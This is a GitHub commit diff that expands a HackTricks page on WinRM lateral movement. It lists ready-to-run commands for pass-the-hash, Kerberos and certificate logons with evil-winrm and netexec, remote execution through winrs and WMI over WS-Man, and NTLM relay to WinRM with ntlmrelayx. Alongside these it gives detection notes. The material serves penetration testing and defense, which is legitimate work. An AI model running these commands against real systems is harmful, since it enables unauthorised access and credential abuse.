Skip to content

Commit 7dbe9ed

Browse files
authored
Merge pull request #2124 from HackTricks-wiki/research_update_src_windows-hardening_lateral-movement_winrm_20260413_135357
Research Update Enhanced src/windows-hardening/lateral-movem...
2 parents 16c503d + 84bc95b commit 7dbe9ed

1 file changed

Lines changed: 190 additions & 2 deletions

File tree

  • src/windows-hardening/lateral-movement

src/windows-hardening/lateral-movement/winrm.md

Lines changed: 190 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,197 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5-
For information about [**WinRM read this page**](../../network-services-pentesting/5985-5986-pentesting-winrm.md).
5+
WinRM is one of the most convenient **lateral movement** transports in Windows environments because it gives you a remote shell over **WS-Man/HTTP(S)** without needing SMB service creation tricks. If the target exposes **5985/5986** and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly.
66

7-
{{#include ../../banners/hacktricks-training.md}}
7+
For the **protocol/service enumeration**, listeners, enabling WinRM, `Invoke-Command`, and generic client usage, check:
8+
9+
{{#ref}}
10+
../../network-services-pentesting/5985-5986-pentesting-winrm.md
11+
{{#endref}}
12+
13+
## Why operators like WinRM
14+
15+
- Uses **HTTP/HTTPS** instead of SMB/RPC, so it often works where PsExec-style execution is blocked.
16+
- With **Kerberos**, it avoids sending reusable credentials to the target.
17+
- Works cleanly from **Windows**, **Linux**, and **Python** tooling (`winrs`, `evil-winrm`, `pypsrp`, `netexec`).
18+
- The interactive PowerShell remoting path spawns **`wsmprovhost.exe`** on the target under the authenticated user context, which is operationally different from service-based exec.
19+
20+
## Access model and prerequisites
21+
22+
In practice, successful WinRM lateral movement depends on **three** things:
23+
24+
1. The target has a **WinRM listener** (`5985`/`5986`) and firewall rules that allow access.
25+
2. The account can **authenticate** to the endpoint.
26+
3. The account is allowed to **open a remoting session**.
27+
28+
Common ways to gain that access:
29+
30+
- **Local Administrator** on the target.
31+
- Membership in **Remote Management Users** on newer systems or **WinRMRemoteWMIUsers__** on systems/components that still honor that group.
32+
- Explicit remoting rights delegated through local security descriptors / PowerShell remoting ACL changes.
33+
34+
If you already control a box with admin rights, remember you can also **delegate WinRM access without full admin group membership** using the techniques described here:
35+
36+
{{#ref}}
37+
../active-directory-methodology/security-descriptors.md
38+
{{#endref}}
39+
40+
### Authentication gotchas that matter during lateral movement
41+
42+
- **Kerberos requires a hostname/FQDN**. If you connect by IP, the client usually falls back to **NTLM/Negotiate**.
43+
- In **workgroup** or cross-trust edge cases, NTLM commonly requires either **HTTPS** or the target to be added to **TrustedHosts** on the client.
44+
- With **local accounts** over Negotiate in a workgroup, UAC remote restrictions may prevent access unless the built-in Administrator account is used or `LocalAccountTokenFilterPolicy=1`.
45+
- PowerShell remoting defaults to the **`HTTP/<host>` SPN**. In environments where `HTTP/<host>` is already registered to some other service account, WinRM Kerberos may fail with `0x80090322`; use a port-qualified SPN or switch to **`WSMAN/<host>`** where that SPN exists.
46+
47+
If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell:
48+
49+
{{#ref}}
50+
../active-directory-methodology/password-spraying.md
51+
{{#endref}}
52+
53+
## Linux-to-Windows lateral movement
54+
55+
### NetExec / CrackMapExec for validation and one-shot execution
56+
57+
```bash
58+
# Validate creds and execute a simple command
59+
netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all"
60+
61+
# Pass-the-Hash
62+
netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname"
63+
64+
# PowerShell command instead of cmd.exe
65+
netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable'
66+
```
67+
68+
### Evil-WinRM for interactive shells
69+
70+
`evil-winrm` remains the most convenient interactive option from Linux because it supports **passwords**, **NT hashes**, **Kerberos tickets**, **client certificates**, file transfer, and in-memory PowerShell/.NET loading.
71+
72+
```bash
73+
# Password
74+
evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>'
75+
76+
# Pass-the-Hash
77+
evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH>
78+
79+
# Kerberos using an existing ccache/kirbi
80+
export KRB5CCNAME=./user.ccache
81+
evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL>
82+
```
83+
84+
### Kerberos SPN edge case: `HTTP` vs `WSMAN`
85+
86+
When the default **`HTTP/<host>`** SPN causes Kerberos failures, try requesting/using a **`WSMAN/<host>`** ticket instead. This appears in hardened or odd enterprise setups where `HTTP/<host>` is already attached to another service account.
87+
88+
```bash
89+
# Example: use a WSMAN ticket instead of the default HTTP SPN
90+
export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache
91+
evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN
92+
```
93+
94+
This is also useful after **RBCD / S4U** abuse when you specifically forged or requested a **WSMAN** service ticket rather than a generic `HTTP` ticket.
95+
96+
### Certificate-based authentication
97+
98+
WinRM also supports **client certificate authentication**, but the certificate must be mapped on the target to a **local account**. From an offensive perspective this matters when:
99+
100+
- you stole/exported a valid client certificate and private key already mapped for WinRM;
101+
- you abused **AD CS / Pass-the-Certificate** to obtain a certificate for a principal and then pivot into another authentication path;
102+
- you are operating in environments that deliberately avoid password-based remoting.
8103

104+
```bash
105+
evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key
106+
```
107+
108+
Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a **passwordless lateral movement** path that survives password rotation.
109+
110+
### Python / automation with `pypsrp`
111+
112+
If you need automation rather than an operator shell, `pypsrp` gives you WinRM/PSRP from Python with **NTLM**, **certificate auth**, **Kerberos**, and **CredSSP** support.
113+
114+
```python
115+
from pypsrp.client import Client
116+
117+
client = Client(
118+
"srv01.domain.local",
119+
username="DOMAIN\\user",
120+
password="Password123!",
121+
ssl=False,
122+
)
123+
stdout, stderr, rc = client.execute_cmd("whoami /all")
124+
print(stdout, stderr, rc)
125+
```
126+
127+
## Windows-native WinRM lateral movement
128+
129+
### `winrs.exe`
130+
131+
`winrs.exe` is built in and useful when you want **native WinRM command execution** without opening an interactive PowerShell remoting session:
132+
133+
```cmd
134+
winrs -r:srv01.domain.local cmd /c whoami
135+
winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname
136+
```
137+
138+
Operationally, `winrs.exe` commonly results in a remote process chain similar to:
139+
140+
```text
141+
svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command>
142+
```
143+
144+
This is worth remembering because it differs from service-based exec and from interactive PSRP sessions.
145+
146+
### `winrm.cmd` / WS-Man COM instead of PowerShell remoting
147+
148+
You can also execute through **WinRM transport** without `Enter-PSSession` by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes **WMI `Win32_Process.Create`**:
149+
150+
```cmd
151+
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local
152+
```
153+
154+
That approach is useful when:
155+
156+
- PowerShell logging is heavily monitored.
157+
- You want **WinRM transport** but not a classic PS remoting workflow.
158+
- You are building or using custom tooling around the **`WSMan.Automation`** COM object.
159+
160+
## NTLM relay to WinRM (WS-Man)
161+
162+
When SMB relay is blocked by signing and LDAP relay is constrained, **WS-Man/WinRM** may still be an attractive relay target. Modern `ntlmrelayx.py` includes **WinRM relay servers** and can relay to **`wsman://`** or **`winrms://`** targets.
163+
164+
```bash
165+
# Relay to HTTP WinRM
166+
ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support
167+
168+
# Relay to HTTPS WinRM
169+
ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support
170+
```
171+
172+
Two practical notes:
173+
174+
- Relay is most useful when the target accepts **NTLM** and the relayed principal is allowed to use WinRM.
175+
- Recent Impacket code specifically handles **`WSMANIDENTIFY: unauthenticated`** requests so `Test-WSMan`-style probes do not break the relay flow.
176+
177+
For multi-hop constraints after landing a first WinRM session, check:
178+
179+
{{#ref}}
180+
../active-directory-methodology/kerberos-double-hop-problem.md
181+
{{#endref}}
182+
183+
## OPSEC and detection notes
184+
185+
- **Interactive PowerShell remoting** usually creates **`wsmprovhost.exe`** on the target.
186+
- **`winrs.exe`** commonly creates **`winrshost.exe`** and then the requested child process.
187+
- Expect **network logon** telemetry, WinRM service events, and PowerShell operational/script-block logging if you use PSRP rather than raw `cmd.exe`.
188+
- If you only need a single command, `winrs.exe` or one-shot WinRM execution may be quieter than a long-lived interactive remoting session.
189+
- If Kerberos is available, prefer **FQDN + Kerberos** over IP + NTLM to reduce both trust issues and awkward client-side `TrustedHosts` changes.
190+
191+
## References
192+
193+
- [Evil-WinRM README](https://github.com/Hackplayers/evil-winrm)
194+
- [Microsoft: Error `0x80090322` when connecting PowerShell to a remote server via WinRM](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/error-0x80090322-when-connecting-powershell-to-remote-server-via-winrm)
195+
196+
{{#include ../../banners/hacktricks-training.md}}
9197

10198

0 commit comments

Comments
 (0)